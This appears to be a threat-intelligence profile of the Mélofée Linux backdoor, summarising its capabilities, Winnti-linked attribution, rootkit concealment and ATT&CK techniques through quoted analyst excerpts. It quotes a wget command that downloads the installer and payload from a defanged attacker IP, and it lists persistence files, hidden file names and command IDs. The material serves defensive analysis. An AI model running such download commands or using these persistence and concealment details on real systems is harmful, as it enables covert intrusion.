Mélofée is a C++ backdoor family targeting Linux servers, publicly documented in March 2023, with analyzed samples dating to 2022. It has been linked with high confidence to Chinese state-sponsored activity, particularly the Winnti ecosystem, through shared infrastructure and associated tooling. A variant identified in 2024 specifically targeted Red Hat Enterprise Linux 7.9.
Mélofée supports remote command execution, interactive shells, file reading and writing, directory management, socket creation, and host reconnaissance, including collection of hostname, user identity, system time, and implant version. Some versions support updating, relaunching, and uninstalling the implant. Command-and-control transports include raw TCP, TLS, and UDP using KCP. Configuration protection varies between RC4 and XOR, while later samples also use RC4 to encrypt command traffic. Persistence mechanisms include boot-time startup scripts, user shell initialization files, and, in the 2024 variant, cron jobs.
Some variants deploy a modified kernel rootkit derived from the open-source Reptile project. Early implementations conceal installation artifacts by hooking directory-enumeration functions, while the 2024 variant additionally hides processes and network connections. The rootkit accepts concealment commands from user space through hooked ioctl handling. The 2024 variant embeds its encrypted kernel module in an executable overlay and disguises its running process. These capabilities provide persistent remote access and concealment on compromised Linux systems.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
It also assessed that CopperDragon is involved in maintaining and supplying variants of the Melofee backdoor.
We recently discovered an novel undetected implant family targeting Linux servers, which we dubbed Mélofée.
27 distinct techniques documented for this family, organized by ATT&CK tactic.
T1583.001 - Attackers acquired servers for staging and command & control
The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server.
All these samples shared a common code base, but showed a constant development
This server was known to be used to stage archives containing an installer for the Linux version of the Winnti rootkit.
0x50001 exec_command_with_output ... 0x60001 launch_shell
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
The first sample we found dropped a rootkit based on a modified version of the open source projet Reptile.
A 2.7 MB ELF binary with near-maximum entropy (7.997 bits per byte across ~832 KB of code). The obfuscation isn't packing -- it's a custom code virtualizer or instruction-level transformation that renders static analysis effectively impossible without dedicated devirtualization tooling.
T1070.004 - Adversary can remove the implant, the rootkit and its configuratin from the system
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
Reptile provides a concealment feature for files, directories, processes, and network communications.
not display files with names containing intel_audio or rc.modules when listing a directory
Finally, the host is instructed to accept network traffic on the port 57590
Depending on a configuration flag, the implant can install iptables rules to redirect TCP network traffic ... Finally, the host is instructed to accept network traffic on the port 57590
The most operationally significant capability is the backdoor's access to cloud instance metadata at 169.254.169.254 . This is the link-local address that every major cloud provider uses to serve instance credentials, API tokens, and configuration data to running workloads.
send_local_information Hostname, date, current UID, implant version number
0x40001 list_directory
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
three socket types are implemented: TCPSocket... TLSSocket... UDPSocket... Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications
Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications, but it was not implemented in the analyzed samples.
Also implements the management of a Socks proxy
0x10004 create_socket Create a bidirectional socket, probably used for proxying
TCPSocket ... using raw TCP ... UDPSocket ... using the KCP protocol to send data.
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd
T1132.002 - Non standard encoding using KCP
T1571 - Adversary can use alternative ports for communication
in the last one it is encrypted using the RC4 algorithm with a hardcoded key
27 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
15 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.